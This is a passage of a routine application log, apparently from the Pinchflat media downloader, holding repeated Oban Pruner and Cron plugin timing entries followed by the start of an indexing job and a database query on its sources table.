{"source":"oban","duration":1196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:57.463 [info] {"source":"oban","duration":1688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:00.722 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:44:27.466 [info] {"source":"oban","duration":1238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:57.468 [info] {"source":"oban","duration":1667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:00.723 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:45:27.471 [info] {"source":"oban","duration":1052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:57.473 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:00.724 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:46:27.475 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:57.477 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:00.725 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:47:27.479 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:57.481 [info] {"source":"oban","duration":1203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:00.726 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:48:27.483 [info] {"source":"oban","duration":1340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:57.485 [info] {"source":"oban","duration":1703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:00.727 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:49:27.488 [info] {"source":"oban","duration":1676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:57.490 [info] {"source":"oban","duration":1799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:00.728 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:50:27.493 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:57.495 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:00.729 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:51:27.497 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:57.499 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:00.730 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:52:27.501 [info] {"source":"oban","duration":1102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:57.503 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:00.731 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:53:27.505 [info] {"source":"oban","duration":1094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:57.507 [info] {"source":"oban","duration":1087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:00.732 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:54:27.509 [info] {"source":"oban","duration":1226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:57.511 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:00.733 [info] {"source":"oban","duration":238,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:55:27.513 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:57.515 [info] {"source":"oban","duration":958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:00.734 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:56:27.517 [info] {"source":"oban","duration":1117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:57.519 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:00.735 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:57:27.521 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:57.523 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:00.736 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:58:27.525 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:57.527 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:00.737 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:59:27.529 [info] {"source":"oban","duration":1312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:57.531 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:00.738 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:00:27.533 [info] {"source":"oban","duration":1388,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:57.535 [info] {"source":"oban","duration":1637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:00.739 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:01:27.537 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:57.539 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:00.740 [info] {"source":"oban","duration":346,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:02:27.541 [info] {"source":"oban","duration":1683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:57.544 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:00.741 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:03:27.546 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:57.548 [info] {"source":"oban","duration":1138,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:00.742 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:04:27.550 [info] {"source":"oban","duration":1061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:57.552 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:00.743 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:05:27.554 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:57.556 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:00.744 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:06:27.558 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:57.560 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:00.745 [info] {"source":"oban","duration":218,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:07:27.562 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:57.564 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:00.746 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:08:27.566 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:57.568 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:00.747 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:09:27.570 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:57.572 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:00.748 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:10:27.574 [info] {"source":"oban","duration":1189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:57.576 [info] {"source":"oban","duration":1178,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:00.749 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:11:27.578 [info] {"source":"oban","duration":1051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:57.580 [info] {"source":"oban","duration":1163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:00.750 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:12:27.582 [info] {"source":"oban","duration":1066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:57.584 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:00.751 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:13:27.586 [info] {"source":"oban","duration":1052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:57.588 [info] {"source":"oban","duration":1171,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:00.752 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:14:27.590 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:57.592 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:00.753 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:15:27.594 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:57.596 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:00.754 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:16:27.598 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:57.600 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:00.755 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:17:27.602 [info] {"source":"oban","duration":1239,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:57.604 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:00.756 [info] {"source":"oban","duration":414,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:18:27.606 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:57.608 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:00.757 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:19:27.610 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:57.612 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:00.758 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:20:27.614 [info] {"source":"oban","duration":1091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:57.616 [info] {"source":"oban","duration":1396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:00.759 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:21:27.618 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:57.620 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:00.760 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:22:27.622 [info] {"source":"oban","duration":1035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:57.624 [info] {"source":"oban","duration":1298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:00.761 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:23:27.626 [info] {"source":"oban","duration":1263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:57.628 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:00.762 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:24:27.630 [info] {"source":"oban","duration":1107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:57.632 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:00.763 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:25:27.634 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:57.636 [info] {"source":"oban","duration":1370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:00.764 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:26:27.638 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:57.640 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:00.765 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:27:27.642 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:57.644 [info] {"source":"oban","duration":1107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:00.766 [info] {"source":"oban","duration":329,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:28:27.646 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:57.648 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:00.767 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:29:27.650 [info] {"source":"oban","duration":1097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:57.652 [info] {"source":"oban","duration":1080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:00.768 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:30:27.654 [info] {"source":"oban","duration":1035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:57.656 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:00.769 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:31:27.658 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:57.660 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:00.770 [info] {"source":"oban","duration":257,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:32:27.662 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:57.664 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:00.771 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:33:27.666 [info] {"source":"oban","duration":1636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:57.668 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:00.772 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:34:27.670 [info] {"source":"oban","duration":1350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:57.672 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:00.773 [info] {"source":"oban","duration":551,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:35:27.674 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:57.676 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:00.774 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:36:27.678 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:57.680 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:00.775 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:37:27.682 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:57.683 [info] {"source":"oban","duration":891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:00.776 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:38:27.686 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:57.688 [info] {"source":"oban","duration":1116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:00.777 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:39:27.690 [info] {"source":"oban","duration":968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:57.692 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:00.778 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:40:27.694 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:57.696 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:00.779 [info] {"source":"oban","duration":531,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:41:27.698 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:57.700 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:00.780 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:42:27.702 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:57.704 [info] {"source":"oban","duration":1156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:00.781 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:43:27.706 [info] {"source":"oban","duration":1662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:57.708 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:00.782 [info] {"source":"oban","duration":254,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:44:27.710 [info] {"source":"oban","duration":1051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:57.712 [info] {"source":"oban","duration":1183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:00.783 [info] {"source":"oban","duration":456,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:45:27.714 [info] {"source":"oban","duration":944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:57.716 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:00.784 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:46:27.718 [info] {"source":"oban","duration":967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:57.720 [info] {"source":"oban","duration":1098,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:00.785 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:47:27.722 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:57.724 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:00.786 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:48:27.726 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:57.728 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:00.787 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:49:27.730 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:57.732 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:00.789 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:50:27.734 [info] {"source":"oban","duration":1641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:57.736 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:00.790 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:51:27.738 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:57.740 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:00.791 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:52:27.742 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:57.744 [info] {"source":"oban","duration":1192,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:00.792 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:53:27.746 [info] {"source":"oban","duration":1203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:57.748 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:00.793 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:54:27.750 [info] {"source":"oban","duration":1173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:57.752 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:00.794 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:55:27.754 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:57.756 [info] {"source":"oban","duration":1050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:00.795 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:56:27.758 [info] {"source":"oban","duration":1050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:57.760 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:00.796 [info] {"source":"oban","duration":244,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:57:27.762 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:57.764 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:58:00.797 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:58:27.766 [info] {"source":"oban","duration":1934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 10:58:57.769 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:00.798 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:59:27.771 [info] {"source":"oban","duration":1598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:57.773 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:00.799 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:00:25.219 [info] {"args":{"id":1},"id":2620,"meta":{},"system_time":1765648825218738089,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 11:00:25.222 [debug] QUERY OK source="sources" db=2.6ms idle=1576.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" 